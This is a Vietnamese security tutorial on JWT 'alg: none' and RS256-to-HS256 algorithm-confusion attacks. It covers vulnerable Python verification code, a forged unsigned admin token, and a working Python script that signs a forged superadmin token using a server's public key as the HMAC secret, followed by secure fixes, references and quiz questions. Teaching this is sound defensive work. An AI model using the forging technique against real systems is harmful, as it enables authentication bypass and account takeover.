Tấn công JWT: Thuật toán None và Algorithm Confusion
Giải mã cơ chế nhầm lẫn thuật toán đối xứng và bất đối xứng (RS256 vs HS256) cùng lỗ hổng None algorithm trong JSON Web Token.
TL;DR: JSON Web Token (JWT) là chuẩn mực xác thực phi trạng thái (Stateless Authentication) phổ biến nhất trên web và microservices hiện nay. Tuy nhiên, tính linh hoạt trong thiết kế của JWT lại là nguồn gốc của hai lỗ hổng kinh điển: chấp nhận thuật toán không mã hóa (alg: none) và nhầm lẫn thuật toán (Algorithm Confusion / Key Confusion). Bằng cách thao túng trường header alg từ bất đối xứng (RS256) sang đối xứng (HS256), kẻ tấn công có thể sử dụng chính khóa công khai (Public Key) công khai của máy chủ để ký giả mạo token quản trị viên mà không cần biết khóa riêng tư (Private Key).
1. Scenario — Cổng API tài chính chấp nhận chữ ký rỗng
Một ngân hàng số cung cấp API thanh toán dành cho các đối tác tích hợp. Client gửi JWT qua header HTTP:
GET /api/v1/accounts/balance HTTP/1.1
Host: bank.internal
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDAyIiwicm9sZSI6InVzZXIifQ.k8X...
Đoạn mã xác thực tại API Gateway sử dụng một thư viện JWT đời cũ:
# Vulnerable JWT verification middleware
import jwt
def authenticate_request(token):
# Developer verifies token without enforcing algorithm
try:
payload = jwt.decode(token, PUBLIC_KEY, algorithms=['RS256', 'none', 'HS256'])
return payload
except jwt.InvalidTokenError:
return None
Kẻ tấn công sửa đổi payload của token thành {"sub": "admin", "role": "admin"}, đổi trường header alg thành none, và loại bỏ hoàn toàn phần chữ ký thứ 3:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
Hệ thống lập tức chấp nhận request và trả về toàn bộ dữ liệu tài khoản quản trị. Thư viện JWT đã coi token là hợp lệ vì trường alg: none ra lệnh bỏ qua bước kiểm tra chữ ký.
2. Analogy — Chữ ký công chứng và bản hợp đồng tự chế
Hãy so sánh hai phương thức xác thực tài liệu pháp lý:
- Chữ ký công chứng chuẩn (Asymmetric Verification): Người bán nhà dùng con dấu bảo mật riêng (Private Key) để đóng dấu lên hợp đồng. Văn phòng công chứng sử dụng mẫu dấu đã đăng ký công khai (Public Key) để đối chiếu. Bất kỳ ai cũng có thể xem mẫu dấu, nhưng không ai có thể tạo ra con dấu thật nếu không nắm trong tay phôi dấu gốc.
- Quy ước mật khẩu chung (Symmetric HMAC): Hai đối tác quy ước một mật khẩu bí mật dùng chung (Shared Secret). Bất kỳ văn bản nào có kèm mật khẩu này đều được coi là hợp lệ.
Trong Algorithm Confusion, kẻ tấn công đánh lừa văn phòng công chứng bằng cách tuyên bố: "Hợp đồng này không dùng con dấu, mà dùng mật khẩu bí mật; và mật khẩu bí mật chính là bức ảnh chụp con dấu công khai treo ngoài cửa sổ":
| Khái niệm đời sống | Cơ chế trong JWT Algorithm Confusion |
|---|---|
| Khóa riêng tư của chủ nhà | Private Key (RS256) giữ an toàn trên Auth Server |
| Mẫu dấu treo công khai | Public Key (RS256) cung cấp công khai qua endpoint /certs |
| Mật khẩu bí mật dùng chung | Shared Secret (HS256) dùng trong thuật toán HMAC |
| Mánh khóe hoán đổi quy ước | Ép server lấy chuỗi byte của Public Key làm Shared Secret |
3. Vì sao cơ chế linh hoạt của JWT dẫn tới Algorithm Confusion?

Cấu trúc chuẩn của một chuỗi JWT gồm 3 phần ngăn cách bởi dấu chấm .:
JWT = Base64URL(Header) . Base64URL(Payload) . Signature
Header chứa metadata chỉ định thuật toán ký:
{
"alg": "RS256",
"typ": "JWT"
}
Bản chất của thuật toán bất đối xứng (RS256 - RSA Signature with SHA-256):
- Máy chủ phát hành dùng Private Key để ký số.
- Máy chủ xác thực (Resource Server) dùng Public Key để kiểm tra tính toàn vẹn. Khóa Public Key này thường được công khai hoàn toàn trên Internet.
Trong bài học trước, bạn đã tìm hiểu về các cờ bảo vệ thông tin nhận dạng:
Ôn lại cách bảo vệ session token chống truy xuất trái phép từ JavaScript client-side qua cờ HttpOnly.
Lỗ hổng Algorithm Confusion xảy ra khi hàm xác thực được viết lỏng lẻo:
# Flawed logic: Passing PUBLIC_KEY to jwt.decode() without fixing algorithm
jwt.decode(token, PUBLIC_KEY)
Khi kẻ tấn công gửi lên token có header alg: HS256:
- Thư viện đọc trường
algtừ header và thấy yêu cầu dùng thuật toán đối xứngHMAC-SHA256. - Hàm
HMACyêu cầu một chuỗi khóa bí mật (Secret Key). - Do lập trình viên truyền biến
PUBLIC_KEYvào vị trí tham số khóa xác minh, thư viện liền lấy luôn nội dung chuỗi của Public Key làm HMAC Secret Key. - Vì kẻ tấn công cũng có được Public Key trong tay, kẻ tấn công hoàn toàn có thể tự tính toán chữ ký HMAC hợp lệ bằng chính Public Key đó trên máy của mình. Kết quả là token giả mạo vượt qua khâu kiểm tra chữ ký 100%.
4. Kỹ thuật tạo Token giả mạo qua Python
Khai thác Algorithm Confusion đòi hỏi xử lý định dạng khóa công khai chuẩn xác:
import jwt
import requests
# 1. Fetch public key PEM from target
public_key_pem = requests.get("https://bank.internal/.well-known/jwks.json").text
# 2. Forge payload with elevated admin role
forged_payload = {
"sub": "administrator",
"role": "superadmin",
"iat": 1700000000,
"exp": 1900000000
}
# 3. Sign using HS256 using public key as HMAC secret
forged_token = jwt.encode(
forged_payload,
key=public_key_pem,
algorithm="HS256",
headers={"alg": "HS256", "typ": "JWT"}
)
print(f"[+] Token gia mao: {forged_token}")
Thử ngẫmNếu Public Key trên server chứa ký tự xuống dòng \n theo chuẩn PEM (-----BEGIN PUBLIC KEY-----), script của kẻ tấn công có cần giữ nguyên các ký tự \n đó không?
Câu trả lời là có: HMAC tính toán dựa trên chuỗi byte chính xác; chỉ cần thừa hoặc thiếu một ký tự xuống dòng \n hay khoảng trắng, hàm băm sẽ cho ra chữ ký hoàn toàn sai lệch.
# JWT verification middleware
import jwt
def verify_user_token(token, rsa_public_key):
# Developer forgets to enforce allowed algorithms
header = jwt.get_unverified_header(token)
alg = header.get('alg', 'HS256')
return jwt.decode(token, rsa_public_key, algorithms=[alg])5. Pitfalls & Giải pháp khắc phục triệt để
❌ Bẫy thường gặp: Danh sách thuật toán quá rộng rãi
Nhiều lập trình viên cấu hình thư viện JWT với danh sách thuật toán mặc định của thư viện hoặc cho phép nhiều họ thuật toán cùng lúc:
# ANTI-PATTERN: Multiple algorithm families in the same verifier
payload = jwt.decode(token, KEY, algorithms=['RS256', 'HS256', 'ES256'])
Khi cho phép cả thuật toán đối xứng (HMAC) và bất đối xứng (RSA/ECDSA), nguy cơ nhầm lẫn khóa sẽ luôn rình rập nếu đối số khóa không được kiểm soát chặt chẽ theo từng nhánh logic.
✅ Giải pháp chuẩn mực: Khóa chặt thuật toán và kiểm tra kiểu khóa
Quy tắc bất di bất dịch khi xác thực JWT:
- Chỉ định duy nhất 1 thuật toán dự kiến: Nếu hệ thống dùng RSA, chỉ chấp nhận
algorithms=['RS256']. - Loại bỏ hoàn toàn
none: Không bao giờ đưanonevào danh sách thuật toán được chấp nhận trên môi trường production.
# SECURE PATTERN: Enforcing single expected algorithm
import jwt
def verify_token(token, public_key_pem):
return jwt.decode(
token,
public_key_pem,
algorithms=['RS256'], # Strictly enforce RS256 only
options={
"verify_signature": True,
"require": ["exp", "iat", "sub"],
"verify_exp": True
}
)
Khi được cấu hình như trên, nếu kẻ tấn công gửi token chứa alg: HS256 hoặc alg: none, thư viện sẽ lập tức từ chối với lỗi jwt.exceptions.InvalidAlgorithmError trước khi thực hiện bất kỳ phép tính chữ ký nào.
6. Đào sâu
Tài liệu tham khảo chuyên sâu về bảo mật JWT:
- RFC 7519 — JSON Web Token (JWT): Đặc tả kỹ thuật chuẩn của IETF về cấu trúc token và xác minh chữ ký.
- RFC 8725 — JWT Best Current Practices: Hướng dẫn thực hành phòng chống các lỗi cấu hình phổ biến (mục 3.1: Verify Algorithm).
- PortSwigger Web Security Academy — JWT Attacks: Hướng dẫn thực hành chi tiết các kỹ thuật giải mã chữ ký và nhầm lẫn thuật toán.
7. Tóm tắt
- Lỗ hổng None Algorithm bắt nguồn từ việc thư viện chấp nhận token không có chữ ký khi header
algđược gán giá trịnone. - Algorithm Confusion khai thác sự thiếu sót của máy chủ trong việc kiểm soát loại khóa: máy chủ dùng Public Key RSA làm Secret Key cho hàm HMAC.
- Kẻ tấn công có thể dễ dàng tạo chữ ký HMAC hợp lệ bằng chính Public Key được công bố rộng rãi của hệ thống.
- Biện pháp khắc phục tối thượng là khóa cứng thuật toán mong đợi (
algorithms=['RS256']) và từ chối mọi token không khớp thuật toán này.
8. Tự kiểm tra
- Q1Tại sao chuẩn RFC 7519 ban đầu lại đưa thuật toán 'none' vào trong đặc tả của JWT?
- Q2Trong tấn công Algorithm Confusion, nếu Public Key của server được lưu dưới dạng JWK (JSON Web Key) thay vì chuỗi PEM, kẻ tấn công phải xử lý khóa như thế nào?
- Q3Một số thư viện JWT hiện đại (như PyJWT v2+) đã tự động bảo vệ trước Algorithm Confusion như thế nào?
- Q4Ngoài việc leo quyền admin, kẻ tấn công có thể làm gì nếu khai thác thành công None algorithm?
- Q5Nếu secret key dùng cho thuật toán HS256 là một chuỗi ngẫu nhiên ngắn (ví dụ: 'secret123'), kẻ tấn công có thể phá vỡ nó như thế nào mà không cần Algorithm Confusion?
Bài tiếp theo: Khai thác JWT qua Header Injection và thao túng khóa
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Tổng quan module Xác thực & Danh tính Hiện đại
Bài tiếpKhai thác JWT qua Header Injection và thao túng khóa
Thảo luận & góp ý
Hỏi đáp về bài này